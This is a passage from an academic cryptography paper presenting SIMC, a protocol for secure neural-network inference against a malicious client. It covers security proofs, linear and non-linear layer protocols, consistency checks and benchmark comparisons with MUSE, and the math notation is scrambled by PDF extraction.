i, j }i∈[2κ], j∈{0,1} (similar to how P0 computes in the
real execution using {labout

i, j }i∈[2κ], j∈{0,1}).

Hybrid execution Hyb2: We make four changes to Hyb1 to
obtain Hyb2 and argue that the views of the adversary in
the two hybrids are identical distributions. Let {l̃ab

out

i =

(p̃i||̃ki)}i∈[2κ] ← GCEval (GC,{l̃ab
in

i }i∈[2κ]). First, by cor-

rectness of garbled circuits, {l̃ab
out

i = labout
i,t[i]}i∈[2κ]. Sec-

ond, since, for i ∈ [κ], the ciphertexts cti,1−p̃i and ĉti,1−p̃i+κ

are computed using the “other” set of output labels (as
onetime pads) picked uniformly in Hyb1, S can directly
sample them uniformly at random. With this change, the
randomness ηi,0,δi,0,νi,0 is only used once to generate
one set of ciphertexts. It can be shown that the underly-
ing messages of the ciphertexts cti,p̃i and ĉti,p̃i+κ

, namely,
ci, di||ei are uniformly random subject to the only con-
straint that

(
∑i∈[κ] ci2i−1

)
= 〈αs〉1,

(
∑i∈[κ] di2i−1

)
= 〈 f (s)〉1

and
(
∑i∈[κ] ei2i−1

)
= 〈α f (s)〉1. Hence, as the third change,

S correctly picks ci,di||ei from this distribution. Finally, one
can observe that 〈αs〉1,〈 f (s)〉1〈α f (s)〉1 are the outputs of P1

from the functionality F f
Non-lin on input 〈s〉1. Hence, as the

fourth change, S obtains these as outputs from F f
Non-lin. Ob-

serve that with these changes, S no longer needs to know
one of the inputs of P0, i.e., α. A formal description of Hyb2

follows:

1. S receives 〈s〉1 from A as its input to OTκ

λ
.

2. Garbled Circuit Phase: Same as Hyb1.

3. Authentication Phase: S uses (〈s〉1,GC,{l̃ab
in

i }i∈[2κ]) as
inputs to this phase.

• S runs {l̃ab
out

i }i∈[2κ]← GCEval (GC,{l̃ab
in

i }i∈[2κ]).

• For each i ∈ [2κ], S parses l̃ab
out

i as (p̃i||̃ki).

• S sends 〈s〉1 to F f
Non-lin to learn

(〈αs〉1,〈 f (s)〉1,〈α f (s)〉1).
• For each i ∈ [κ], S samples ci,di,ei each uniformly from
Fp such that

(
∑i∈[κ] ci2i−1

)
= 〈αs〉1,

(
∑i∈[κ] di2i−1

)
=

〈 f (s)〉1 and
(
∑i∈[κ] ei2i−1

)
= 〈α f (s)〉1.

• For each i ∈ [κ], S computes cti,p̃i = ci⊕Trimκ(k̃i) and
ĉti,p̃i+κ

= (di||ei)⊕Trim2κ(k̃i+κ), and samples cti,1−p̃i

and ĉti,1−p̃i+κ
uniformly from {0,1}κ and {0,1}2κ resp.

• S sends {cti, j, ĉti, j}i∈[κ], j∈{0,1} to A .

Simulated execution Sim: We remove the dependence on P0’s
input 〈s〉0 by invoking the simulator of the garbling scheme
in the Garbled Circuit Phase. The indistinguishability of Sim
and Hyb2 directly follows by the security of garbled circuits.
The formal description of Sim is given below.
1. S receives 〈s〉1 from A as its input to OTκ

λ
.

2. Garbled Circuit Phase:
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• S samples (G̃C,{ ˆlab
in
i }i∈[2κ]) ← GCSim(1λ,Comp f )

and sends { ˆlabi}i∈{κ+1,··· ,2κ} to A as the output of OTκ

λ
.

It also sends G̃C and { ˆlab
in
i }i∈[κ] to A .

3. Authentication Phase: Same as Hyb2, where S uses
(〈s〉1, G̃C,{ ˆlab

in
i }i∈[2κ]) as its input in the phase.

4 Secure Inference

Neural network inference algorithms typically consist of two
types of layers - linear and non-linear. Linear layers include
functions such as matrix multiplications (fully connected lay-
ers) and convolutions, while non-linear layers consists of func-
tions such as ReLU,ReLU6 and Maxpool. In this section, we
first discuss how to securely compute the linear layers – the
functionality and the protocol to realize it– in Section 4.1.
Then, in Section 4.2 we describe our complete protocol for
secure inference in the client malicious setting. This protocol,
by combining our protocols from Section 4.1 and Section 3.1,
together with a consistency check phase, allows for the secure
inference of any neural network that uses any combination
of linear and non-linear layers. In Section 4.4 we discuss our
secure inference protocol in the preprocessing model.

4.1 Linear Layers
We describe the functionality FLin formally in Figure 3 used
by our protocol for secure inference in Section 4.2. The func-
tionality can be invoked in two ways. The argument InitLin
is used for invoking the functionality for the first linear layer
of the neural network. InitLin is invoked exactly once and
takes as input a matrix M and a MAC key α from P0 and x
from P1. It outputs authenticated shares of Mx to both parties,
i.e., shares of Mx and shares of αMx. Second, the argument
Lin is used for all subsequent linear layers in the neural net-
work. Lin is invoked on shares of v and w from P0 and P1 and
a matrix M and a MAC key α from P0. It outputs shares of
Mv, Mw and α3v−α2w to both the parties. Looking ahead,
in an honest execution, w = αv and hence, this functionality
takes in authenticated shares of input and produces authenti-
cated shares of output along with α3v−α2w that would be
used later to check that a malicious P1 indeed fed in correct
authenticated shares9.

We note here that our novelty in linear layers is not how we
realize the functionality in Figure 3, but rather defining the
functionality itself such that it is both efficiently realizable
and allows for cheap consistency checks against a malicious
client when we put different pieces together in the overall
protocol (Section 4.2).

9We discuss the use of higher powers of α in consistency check later.

InitLin: On input (InitLin,M,α) from P0 and
(InitLin,x) from P1 (where M ∈ Fm×n

p , α ∈ Fp and
x ∈ Fn

p), Pb learns 〈Mx〉b and 〈αMx〉b for b ∈ {0,1}.

Lin: On input (Lin,〈v〉0,〈w〉0,M,α) from P0 and
(Lin,〈v〉1,〈w〉1) from P1 (where v,w ∈ Fn

p, M ∈ Fm×n
p

and α∈Fp), Pb learns 〈Mv〉b, 〈Mw〉b and 〈α3v−α2w〉b
for b ∈ {0,1}.

Figure 3: Functionality FLin

Protocol. We realize this functionality using standard tech-
niques relying on any additive homomorphic encryption (Sec
2.2.1) and zero-knowledge proofs. We formally describe the
protocol πLin in Figure 4. Correctness of πLin follows from in-
spection; security follows using arguments similar to existing
protocols in literature [14, 15, 28, 32].

Remark 4.1 (Convolutions). For ease of exposition, we only
considered the case of matrix multiplication (or fully con-
nected layers) in the above discussion. It is easy to see that
a similar functionality and a corresponding protocol can be
defined for convolutional layers as well, where the communi-
cation complexity of the protocol again depends only on the
size of the input and output for that layer.

4.2 Neural Network Inference Protocol
For ease of exposition, similar to [32], we consider a neural
network NN with ` linear layers (specified by M1, · · · ,M`)
and `−1 non-linear layers evaluating the non-linear functions
f1, · · · , f`−1, such that linear and non-linear layers alternate
and the first layer is a linear layer. Our protocol can naturally
also be extended to arbitrary combinations of linear and non-
linear functions (Appendix D). Let x be the input to NN and
the output of inference is denoted by NN(x). Let si denote
the (intermediate) inference vector after the ith linear layer
evaluation for i∈ [`] and vi denote the (intermediate) inference
vector after the ith non-linear layer evaluation for i ∈ [`−1].
Note that, s1 = M1x, for i ∈ [`− 1] it holds that vi = fi(si)
and si+1 = Mi+1vi, and finally, s` = NN(x).

In the setting of secure inference, the server’s (P0’s) input
is weights of all the linear layers, i.e., M1, · · · ,M` and the
client (P1) holds input x. The goal is for the client to learn
NN(x) where the non-linear layers are as above. We describe
our protocol πInf for this setting formally in Figure 5 that is
secure against a semi-honest server and a malicious client.
Below, we provide a protocol overview.

At a high level, our protocol has two phases: the evaluation
phase and the consistency check phase. The evaluation phase
evaluates the alternate linear and non-linear layers with ap-
propriate parameters. After the evaluation phase, the server
performs a consistency check on the values computed so far.
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Realization of InitLin in πLin :
Input: P0 holds M ∈ Fm×n

p and α ∈ Fp and P1 holds
x ∈ Fn

p.
Output: Pb learns 〈Mx〉b, 〈αMx〉b for b ∈ {0,1}.
Protocol:
• P0 and P1 (one time) engage in a two-party compu-

tation protocol secure against a semi-honest P0 and
malicious P1 to sample (pk,sk) for AHEa such that
P1 learns (pk,sk) and P0 learns pk. Both parties store
these for use in this all subsequent calls to πLin as well.

• P1 sends the encryption c1← Enc(pk,x) to P0 along
with a zero-knowledge (ZK) proof of plaintext knowl-
edge of this ciphertextb.

• P0 samples 〈Mx〉0,〈αMx〉0 ∈R Fm
p .

• P0 homomorphically evaluates and sends to P1,
the ciphertexts c2 ∈ Encpk(Mx− 〈Mx〉0) and c3 ∈
Encpk(αMx−〈αMx〉0).

• P1 sets 〈Mx〉1 = Decsk(c2), 〈αMx〉1 = Decsk(c3).

• Pb outputs 〈Mx〉b, 〈αMx〉b for b ∈ {0,1}.

Realization of Lin in πLin:
Input: P0 holds 〈v〉0,〈w〉0 ∈ Fn

p, M ∈ Fm×n
p and α ∈ Fp.

P1 holds 〈v〉1,〈w〉1 ∈ Fn
p.

Output: Pb learns 〈Mv〉b, 〈Mw〉b and 〈α3v−α2w〉b for
b ∈ {0,1}.
Protocol:
• P1 sends the encryptions e1 ← Enc(pk,〈v〉1), e2 ←

Enc(pk,〈w〉1) to P0 and a ZK proof of plaintext knowl-
edge for both.

• P0 samples 〈Mv〉0,〈Mw〉0 ∈R Fm
p and 〈α3v −

α2w〉0 ∈R Fn
p.

• P0 homomorphically evaluates and sends to P1,
the ciphertexts e3 ∈ Encpk(Mv − 〈Mv〉0), e4 ∈
Encpk(Mw− 〈Mw〉0) and e5 ∈ Encpk(α

3v−α2w−
〈α3v−α2w〉0).

• P1 sets 〈Mv〉1 = Decsk(e3), 〈Mw〉1 = Decsk(e4) and
〈α3v−α2w〉1 = Decsk(e5).

• Pb outputs 〈Mv〉b, 〈Mw〉b and 〈α3v−α2w〉b for b ∈
{0,1}.

aFunction privacy of AHE holds only for honestly generated keys.
bZK proof of knowledge for the statement that c is a valid sample

from Encpk(m) for an m known to the prover. We refer the reader to
[28, 32] for more details.

Figure 4: Protocol πLin

If the check passes, output is revealed to the client. In more
detail, P0 begins by sampling a MAC key α ∈ Fp uniformly
that will be used to authenticate all intermediate values. Dur-
ing the protocol, the two parties will hold authenticated shares

of all intermediate values where authentications are generated
using α along with some additional values generated to aid in
consistency checks.

• Linear Layer Evaluation: To evaluate the first linear layer,
P0 and P1 invoke FLin with inputs (InitLin,M1,α) and
(InitLin,x) respectively. They learn authenticated shares of
s1, i.e., shares of s1, t1, where t1 is authentication on s1. For
evaluation of the ith linear layer (i > 1), P0 and P1 invoke
FLin with input Lin and authenticated shares of the output of
the previous non-linear layer, i.e vi−1 and (Mi,α) from P0.
We denote authentication on vi−1 with wi−1. Lin outputs
shares of si = Mivi−1 and ti = Miwi−1 and an additional
"tag" zi = (α3vi−α2wi−1) (that is 0 numerically whenever
the inputs to Lin were infact authenticated shares, i.e., if
αvi−1 = wi−1 and non-zero otherwise (when α 6= 0)).

• Non-linear Layer Evaluation: To evaluate the ith non-
linear layer for i ∈ [`− 1], P0 and P1 invoke F fi

Non-lin on
shares of si and the input α from P0 to learn authenticated
shares of vi = f (si) and another set of shares of authentica-
tion on si, denoted by ui.

• Consistency Check Phase: The server performs the fol-
lowing two sets of checks.

– For each i ∈ {2, · · · , `}, check that the pair of shares input
to Lin are valid authenticated shares under α by verifying
that zi = 0ni−1 .

– For each i ∈ [`−1], check that the shares input to F fi
Non-lin

were same as the shares output by Lin on ith linear layer
by verifying if ti−ui = 0ni .

Finally, all the above checks can be combined into a single
check by using random scalars picked by P0. If the check
fails, P0 aborts, and sends its final share to P1 otherwise,
who can reconstruct the output.

Remark 4.2. Our protocol works over Fp that represents
fixed-point numbers. We use fixed-point computation to em-
ulate computation on real numbers. Moreover, to maintain
precision, we need to truncate intermediate values and our
protocol can do this for free within garbled circuits.

4.3 Correctness and Security
Theorem 2. The protocol πInf securely realizes the
functionality FInf in the F -hybrid model where F =

(FLin,F f1
Non-lin, · · · ,F

f`−1
Non-lin) against a semi-honest server P0

and a malicious client P1 with probability atleast 1−6/p.

Proof. Correctness. By correctness of FLin on InitLin, we
have s1 = M1x and t1 = αs1. By correctness of FLin on Lin,
for each i ∈ {2, · · · , `} it holds that si = Mivi−1, ti = Miwi−1

and zi =α3vi−1−α2wi−1. By correctness of F fi
Non-lin, for each

i∈ [`−1] it follows that ui = αsi, vi = fi(si) and wi = α fi(si).
On substituting, it is easy to see that q = 0 since for each
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Preamble. A neural network NN with ` linear and `−1 non-linear layers. Let f1, . . . , f`−1 be the elementary functions that
need to be computed in `−1 non-linear layers.
Input: P0 holds {M j ∈ Fn j×n j−1

p } j∈[`], i.e., weights for the ` linear layers. P1 holds the input x ∈ Fn0
p for NN.

Output: P1 learns NN(x).
1. P0 samples MAC key α uniformly from Fp to be used throughout the protocol.

2. First Linear Layer: P0 and P1 invoke FLin with inputs (InitLin,M1,α) and (InitLin,x) respectively. For b ∈ {0,1},
Pb learns (〈s1〉b,〈t1〉b).

3. For each j ∈ [`−1],

Non-linear Layer f j: P0 and P1 invoke F f j
Non-lin with inputs (〈s j〉0,α) and 〈s j〉1 respectively. For b ∈ {0,1}, Pb learns

(〈u j〉b,〈v j〉b,〈w j〉b).

Linear Layer j+1: P0 and P1 invoke FLin with inputs (Lin,〈v j〉0,〈w j〉0,M j+1,α) and (Lin,〈v j〉1,〈w j〉1) respectively.
For b ∈ {0,1}, Pb learns (〈s j+1〉b,〈t j+1〉b,〈z j+1〉b).

4. Consistency Check:
• For j ∈ [`−1], P0 samples r j ∈R Fn j

p and r′j+1 ∈R Fn j+1
p and sends (r j,r′j+1) to P1.

• P1 computes 〈q〉1 = ∑ j∈[`−1]

(
(〈t j〉1−〈u j〉1)∗r j + 〈z j+1〉1∗r′j+1

)
and sends it to P0.

• P0 computes 〈q〉0 = ∑ j∈[`−1]

(
(〈t j〉0−〈u j〉0)∗r j + 〈z j+1〉0∗r′j+1

)
.

• P0 aborts if 〈q〉0 + 〈q〉1 mod p 6= 0. Else, sends 〈s`〉0 to P1.

5. Output Phase: P1 outputs 〈s`〉0 + 〈s`〉1 mod p if P0 didn’t abort in the previous step.

Figure 5: Secure Inference Protocol πInf

i ∈ [`−1], zi+1 = 0, ti = ui. Finally, we conclude correctness
by noting that s` = NN(x).
Security. We prove that our protocol is secure against a semi-
honest server P0 and a malicious client P1 using simulation
based security. It is easy to see security against a semi-honest
adversary corrupting P0 as follows: During the evaluation
phase of the protocol, P0 only learns one of the shares as
output from FLin/F f

Non-lin and hence, can be simulated easily
by picking uniformly random values from the field. In the
consistency check phase, it learns 〈q〉1. This value is easy
to simulate using q = 0 and 〈q〉0 that can be locally com-
puted. Now, we prove security against a malicious client in
the following lemma.

Lemma 1. The protocol πInf is secure against a malicious
adversary A controlling the client P1 in the F -hybrid model
where F = (FLin,F f1

Non-lin, · · · ,F
f`−1

Non-lin).

Proof. Recall that a malicious A controlling P1 can arbitrar-
ily deviate from the protocol specification. Formally, w.r.t.
our protocol πInf that invokes various ideal functionalities,
A can send inconsistent inputs. In particular, A can do the
following: (a) Invoke FLin(InitLin, ·) on x′ 6= x (client’s orig-
inal input), and learns 〈s1〉1 and 〈t1〉1; (b) For i ∈ [`− 1],
A can invoke F f1

Non-lin on input 〈s′i〉1 = 〈si〉1 + ∆1
i to learn

〈ui〉1,〈vi〉1,〈wi〉1; (c) For i ∈ [`− 1], A can invoke Lin on
input 〈v′i〉1 = 〈vi〉1 + ∆2

i and 〈w′i〉1 = 〈wi〉1 + ∆3
i to learn

〈si+1〉1,〈ti+1〉1,〈zi+1〉1; (d) A can add an error ∆4 to his share
of q and send this errorneous share of q to P0. Using the above
notation, A behaves honestly and follows the specification if
and only if all ∆’s are 0. We formally describe the simulator
S simulating the view of malicious A in Figure 6.
Now, there are two cases to analyse: In the first case, when
A follows the protocol specification, it is easy to see that
the views in the real execution of the protocol and simulated
execution are identical. In the case, when A deviates from
the protocol execution, i.e., there exists a non-zero ∆, then
the simulator sends abort to A with probability 1. Moreover,
it is easy to see, by inspection, that up until the end of the
consistency check phase, the views of A in real and simulated
executions are identical and consist of uniformly distributed
field elements. Hence, it suffices to argue that in the case of
non-zero ∆, P0 aborts in real execution with all but exponen-
tially low probability (in κ).

Claim 2. In real execution, if at least one of the ∆’s is non-
zero, then P0 aborts with probability at least 1−6/p.

Proof. Below q is the value that P0 reconstructs in the consis-
tency check phase of the real execution. Using notation from
above, we have that

q =∆
4 +

`−1

∑
j=1

((t j−u j)∗r j + z j+1∗r′j+1) (1)
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• Preamble: S interacts with A controlling P1 with input x. S sets a flag bit flag = 0.

• First Linear Layer: A invokes FLin on input (InitLin,x′). S sends uniform 〈s1〉1 and 〈t1〉1 to A .

• For j ∈ [`−1],

Non-linear Layer f j: A invokes F f j
Non-lin on input 〈s j

′〉1 = 〈s j〉1 +∆1
j . S sends uniform 〈u j〉1,〈v j〉1 and 〈w j〉1 to A .

Additionally, it sets flag = 1, if ∆1
j 6= 0n j .

Linear Layer j + 1: A invokes FLin on inputs Lin, 〈v j
′〉1 = 〈v j〉1 +∆2

j and 〈w j
′〉1 = 〈w j〉1 +∆3

j . S sends uniform
〈s j〉1,〈t j〉1 and 〈z j〉1 to A . Additionally, S sets flag = 1 if (∆2

j ,∆
3
j) 6= (0n j ,0n j).

• Consistency Check:
– For j ∈ [`−1], S samples r j ∈R Fn j

p and r′j+1 ∈R Fn j+1
p and sends (r j,r′j+1) to A .

– A sends 〈q〉1 = ∆4 +∑ j∈[`−1](〈z j+1〉1∗r′j+1 +(〈t j〉1−〈u j〉1)∗r j). S sets flag = 1 if ∆4 6= 0.

• Output Phase: If flag = 0, S queries FInf on x′ to learn NN(x′) and sends NN(x′)−〈s`〉1 to A . Else, it sends abort to
both FInf and A .

Figure 6: Simulator against malicious client corresponding to πInf

Further, from the notation (of ∆’s) above and by correctness
of the functionalities invoked in πInf , we have that for each
j∈ [`−1], w j =αv j and z j+1 =(α3(v j+∆2

j)−α2(w j+∆3
j)).

Similarly, t1 = αM1x′, u1 = α(M1x′+∆1
1) and for each j ∈

{2, · · · , `−1}, t j = M j(w j−1+∆3
j−1) and u j = α(M j(v j−1+

∆2
j−1)+∆1

j). On substitution in Equation 1, we get

q = α
3(

`−1

∑
j=1

∆
2
j∗r′j+1)−α

2(
`−1

∑
j=1

∆
3
j∗r′j+1)

−α((
`−1

∑
j=1

∆
1
j +

`−1

∑
j=2

M j∆
2
j−1)∗r j)+∆

4 +
`−1

∑
j=2

((M j∆
3
j−1)∗r j)

The RHS of the above equation is a degree-3 polynomial
in α, denoted by Q(α). We argue that Q(α) is a non-zero
polynomial whenever A introduces errors, that is, at least one
of ∆’s is non-zero. This is because, if either ∆4 6= 0 or ∆i

j is a
non-zero vector for any j ∈ [`−1] and i∈ [3] atleast one of the
coefficients of Q(α) will be non-zero, with probability atleast
1−3/p over the choice of r′ j+1 and r j for j ∈ [`−1]. Further
when Q(α) is a non-zero polynomial, it has at most 3 roots.
Hence, over the choice of α, the probability that Q(α) = 0 is
atmost 3/p. Therefore, the probability that P0 aborts is atleast
1−6/p when A cheats.

Setting Fieldsize. We choose p to be greater than 2σ+3 for
πInf to be σ-bit statistically secure.

4.4 Secure Inference with Preprocessing
MUSE (similar to DELPHI) considers client input-
independent preprocessing model and showed how
majority of their cryptographic cost (> 99%) can be pushed
to the offline phase. We now briefly outline how our
techniques can be extended to obtain a client malicious

secure inference protocol in this preprocessing model whose
online cost is exactly the same as in MUSE. For concrete
communication and runtime, see Section 5.4. We provide the
outline for π

Prep
Inf below and present the full description in

Figure 8 in Appendix C.

We incorporate the novel ideas for non-linear lay-
ers and consistency check into the protocol structure of
DELPHI/MUSE. At a high level, in the preprocessing phase,
parties compute the linear layers on random inputs chosen by
the client, and the non-linear layers are set up so that the output
share of the client matches the random input chosen for next
linear layer. Then, the server adjusts its share of output from
linear layer based on output of previous non-linear layer, and
preprocessing information. Implementing this, requires addi-
tional computation in the garbled circuit as explained below,
and that is exactly the additional compute/communication
compared to our previous protocol.
In the preprocessing phase, for every linear layer, P0 holds
input Mi and P1 picks a uniformly random vector ci (of appro-
priate dimensions). Now, P0 and P1 securely compute authen-
ticated shares of Mici and shares of authentication on ci. The
online phase for computing linear layers is identical to MUSE
(and only involves P1 sending a share of its input to P0, fol-
lowed by local non-cryptographic computations at both ends).
For each non-linear layer that computes a function fi, define
a circuit C fi that takes in shares of si, and two random masks
di from P0 and ci+1 from P1. C fi outputs ( fi(si)−di− ci+1,
si, ci+1). The garbled circuit for C fi and labels for di are sent
in the preprocessing phase along with OT computation to
transfer labels for ci+1 and client’s share of si. The labels
for P0’s share of si are sent in the online phase. Similar to
our protocol π

f
Non-lin, we use the output labels of the garbled

circuit to generate shares of re-authentications on si,ci+1 and
check for consistency in the last phase.
We note that the overall cost of non-linear layers increases by
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< 2× and the cost of linear layers decreases compared to the
previous protocol.

5 Implementation and Evaluation

We implement SIMC10 and empirically evaluate its perfor-
mance. Since the cost of non-linear layers dominate in
MUSE [32] (> 80%) and the cost of linear layers in SIMC
is similar, our evaluation focusses on three main questions:

• Section 5.2: What are the communication and runtime costs
of SIMC on non-linear layers such as ReLU and how do
these compare with MUSE?

• Section 5.3: How does SIMC compare with MUSE on end-
to-end secure inference tasks?

• Section 5.4: How does SIMC in preprocessing model (de-
noted by SIMC++) compare with MUSE?

We show that SIMC outperforms MUSE on all parameters.
Below, we first discuss our implementation details and evalu-
ation setup followed by evaluation results.

5.1 Implementation and System Setup
Implementation. SIMC is implemented in about 9000 lines
of C++ code and provides 128-bit computational security
and 40-bit statistical security. Similar to MUSE, our system
is implemented over a 44-bit prime. We use the Seal homo-
morphic encryption library [48] for implementing the AHE
scheme for linear layers, and the EMP toolkit [52] for garbled
circuits11 used in non-linear layers. We use AES as a pseu-
dorandom function to generate the randomness r j and r′j+1
used in consistency check phase. SHA-256 is used as the hash
function to hash all labels output from checking validity of
client’s inputs in the non-linear protocol (see Remark 3.3).
Zero-knowledge (ZK) proofs of plaintext knowledge [11] re-
quired in the linear layers, is not implemented in our system
due to the lack of a publicly available implementation. As
the end-to-end performance analysis of linear layers is some-
what orthogonal to our work, we estimate the performance
of these proofs based on [11, Table 1] (see Section 5.3 for
more details). MUSE [32] estimates the cost of ZK proofs in
their system in a similar way using MP-SPDZ [25]. Finally,
to evaluate the performance of SIMC on end-to-end secure
inference tasks, we time all individual components of our pro-
tocol (linear layers, non-linear layers, and consistency check
phase) separately and aggregate them to obtain end-to-end
execution times. As there is no cost incurred in connecting the
individual components of our protocol, the end-to-end execu-
tion time, obtained as described above, provides an accurate
estimate.

10Code available at https://aka.ms/simc.
11EMP toolkit uses actively secure COTs to send client’s labels.
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Figure 7: Improvement of SIMC over MUSE as a function of
number of ReLU6 instances. The y-axis shows MUSE Time

SIMC Time .

Evaluation Setup. We carry out our experiments in two net-
work configurations with varying bandwidth and ping latency:
In the CON setting, we use the same setup as in MUSE. P0
and P1 are two AWS c5.9xlarge instances with Intel Xeon
8000 series CPUs at 3.6GHz running 8 threads each, located
in the us-west-1 (Northern California) and us-west-2 (Ore-
gon) regions respectively. In this configuration, the measured
bandwidth between the two instances was 584 MBps with 21
ms rtt. For the EAN setting, we use the same machine config-
uration, but with the machines located in us-west-1 (Northern
California) and eu-west-2 (London) respectively. Here, the
measured bandwidth was 19.2 MBps with 144 ms rtt. To com-
pare SIMC with MUSE, we use the code available at [31]; all
numbers reported are the median values over 5 executions.

5.2 Non-linear Layers performance
We compare communication and latency of SIMC and MUSE
for non-linear layers. As representative examples, we choose
2 popular non-linear activation functions – ReLU defined to be
ReLU(x) = max(x,0); and ReLU6 := min(max(x,0),6) – to
run our microbenchmarks. While MUSE requires 388 KB and
405 KB of communication to securely compute one instance
of ReLU and ReLU6 respectively, SIMC only communicates
11.9 KB and 14.66 KB respectively; thus, SIMC communi-
cates 28−33× less than MUSE.

In typical neural networks, each non-linear layer requires
computing large number of instances of the same function,
e.g., ReLU6. Hence, we set up our microbenchmarks to study
how the performance of SIMC compares with MUSE as the
number of instances grow from 1 to 218. We depict speedups
of SIMC over MUSE for the ReLU6 function12 in the CON
and EAN settings in Figure 7. As discussed, SIMC gets rid of

12The graph for ReLU looks nearly identical and is omitted here.
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Benchmark A Benchmark B
Protocol MUSE SIMC MUSE SIMC

Linear Layer 0.04 0.05 0.07 0.14
Non-linear Layer 4.14 0.133 67.83 2.24

Total 4.18 0.18 67.90 2.38

Table 1: Communication (in GB) of MUSE and SIMC on
benchmarks A and B.

Benchmark A Benchmark B
Protocol MUSE SIMC MUSE SIMC

Linear Layer 4.40 4.60 40.40 28.30
Non-linear Layer 18.33 0.71 230.02 5.07

Total 22.73 5.31 270.42 33.37

Table 2: Latency (in seconds) of MUSE and SIMC on bench-
marks A and B [CON setting].

computationally expensive homomorphic encryption opera-
tions from non-linear layers, while reducing communication
and this results in significant performance improvements that
grow with the number of instances being computed. We ob-
serve that SIMC outperforms MUSE by 4−42× in our CON
setting and by 2− 16.3× in our EAN setting. For instance,
MUSE took 313.3s and 2567.7s to compute 218 ReLU6 in-
stances in CON and EAN setting. Whereas, SIMC took just
7.3s and 157.6s in the respective network settings. Further-
more, for 220 instances, the MUSE protocol runs out of mem-
ory and crashes, while SIMC computes it in 28.5s in CON
and 623.1s EAN settings. Such wide non-linear layers are om-
nipresent in real-world ML models; ResNet50 on ImageNet
dataset has non-linear layers with width upto 220 nodes.

Benchmark A Benchmark B
Protocol MUSE SIMC MUSE SIMC

Linear Layer 9.40 9.70 54.46 46.43
Non-linear Layer 111.69 9.73 1728.46 110.79

Total 121.09 19.43 1782.92 157.22

Table 3: Latency (in seconds) of MUSE and SIMC on bench-
marks A and B [EAN setting].

5.3 Secure Inference Performance
We evaluate SIMC on both neural network architectures con-
sidered in MUSE: Benchmark A, 2-layer convolutional neural
network (CNN) trained on the MNIST dataset from [34] and
Benchmark B, 7-layer CNN architecture for CIFAR-10 pro-
vided in [34]. For details on networks, see [32, 34].

As outlined earlier, we implement the components of the
protocol (linear layers, non-linear layers, and consistency
check) separately and aggregate them to obtain performance
estimates. Further, the cost of zero-knowledge proofs required
in the linear layers are simulated based on [11, Table 1]. For
Benchmark A, the dimensions of input ciphertexts to all the
linear-layers are tiny (and in particular much smaller than

even the smallest benchmark considered in [11]). Hence, one
can accurately estimate that the overhead of zero-knowledge
proofs in this benchmark is insignificant (< 100 ms). In Bench-
mark B, there are 4 layers that require zero-knowledge proofs
on sufficiently large vectors – namely linear layers 2 to 5,
in which the dimensions of the vectors are 65536, 16384,
16384, and 16384 respectively. Hence, we can estimate that
these proofs together would add approximately 1 second to
the overall latency (which is still a tiny fraction compared
to the overall cost). Since the bulk of the overhead in zero-
knowledge proofs is in compute, the above estimates hold
true for CON as well as EAN setting.

We compare communication followed by execution time in
the two network settings. Table 1 reports total communication
as well as the split of communication between linear and
non-linear layers of these benchmarks for both MUSE and
SIMC. We observe that the total communication of SIMC
is 23× and 29× less than that of MUSE for benchmarks A
and B respectively. Moreover, SIMC communicates between
21−41% less than even DELPHI13 [35], that provides only
semi-honest security, on the same benchmarks (see Remark
3.4). While linear layers for MUSE and SIMC communicate
similar amounts, non-linear layers in SIMC require ≈ 30×
lower communication than MUSE for both benchmarks.

Table 2 and Table 3 show the performance of SIMC and
MUSE on the two benchmarks in our CON and EAN settings,
respectively. As is clear from the split of execution times
for MUSE, non-linear layers were the major performance
bottleneck (upto 96% of total time). Since our protocol for
non-linear layers is significantly lighter weight compared to
MUSE, non-linear layers in SIMC outperform those in MUSE
by 25.8− 45.3× and 11.4− 15.7× in the CON and EAN
settings, respectively. As discussed in Section 1.2, SIMC sig-
nificantly improves upon MUSE in both the compute as well
communication, leading to high gains in both the high band-
width setting as well as the low bandwidth settings, where the
bottlenecks for MUSE are compute and communication, re-
spectively. Optimizing the performance bottleneck in MUSE,
results in significant performance gains for the end-to-end
secure inference task as well. In total execution time, SIMC
outperforms MUSE by 4.3−8.1× in the CON setting14 and
by 6.2−11.3× in the EAN setting.

5.4 Performance in Preprocessing model
We compare the performance of our protocol in the prepro-
cessing model (SIMC++) with MUSE, on the same bench-
marks A and B. As is expected, SIMC++ retains the im-
provements of SIMC over MUSE. In the preprocessing phase,
SIMC++ is 15× and 17× communication frugal compared
to MUSE for benchmarks A and B respectively (see Table 4).

13We use the communication numbers and runtime of DELPHI in CON
setting from [32] as it is identical system setting.

14SIMC outperforms DELPHI by 40−82% in the same setting.
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Benchmark A Benchmark B
Protocol MUSE SIMC++ MUSE SIMC++

Preprocessing Phase 4.17 0.28 67.67 3.98
Online Phase 0.01 0.01 0.23 0.23

Total 4.18 0.29 67.90 4.21

Table 4: Communication (in GB) of MUSE and SIMC++ on
benchmarks A and B in the preprocessing model.

Benchmark A Benchmark B
Protocol MUSE SIMC++ MUSE SIMC++

Preprocessing Phase 21.93 5.51 263.44 36.90
Online Phase 0.8 0.8 7.86 7.86

Total 22.73 6.31 270.42 44.76

Table 5: Latency (in seconds) of MUSE and SIMC++ on
benchmarks A and B in preprocessing model [CON setting].

SIMC++’s preprocessing phase is 4−7× and 5−7.4× more
performant than MUSE in the CON and EAN setting (see Ta-
ble 5 and Table 6). As discussed in Section 4.4, our online
phase is identical to MUSE, which is reflected from the per-
formance numbers of the two protocols in the online phase.

The communication of SIMC++ is upto 1.8× of SIMC on
benchmarks A and B. Compared to SIMC, the end-to-end ex-
ecution time of SIMC++ is slower by at most 1.3× and 1.7×
in CON and EAN setting respectively. This slight increase in
overhead comes with the benefit of obtaining an online phase
with little cryptographic overhead.

Comparison with other works. We have so far seen that
SIMC++ outperforms MUSE by an order of magnitude. We
now compare SIMC++ with other related works – namely
maliciously-secure Overdrive [28] and the client-malicious
version of Overdrive presented in [32], which we refer to
as CMOverdrive. As shown in [32], for benchmarks A and
B, MUSE’s pre-processing phase is 2−3.6× more commu-
nication frugal than Overdrive (the improvements in com-
munication inclusive of online phase are also roughly the
same). Combining this with SIMC++’s communication pre-
sented in Table 4, we see that SIMC++ is 30−61×more com-
munication efficient than Overdrive. [32] also showed their
protocol to be 13− 21× faster than Overdrive in the CON
setting. From Table 5, we can in turn conclude that SIMC++
is 52−147× faster than Overdrive. In a similar manner, one
can see that SIMC++ communicates 14−24× lesser bits than
CMOverdrive and is 26−49× faster in the CON setting.

6 Conclusion

We consider the problem of client malicious secure inference
and build a system, SIMC that is at least an order of magni-
tude more communication efficient and performant than prior
state of the art. Furthermore, our system can also have a very
lightweight online phase. Based on our microbenchmarks

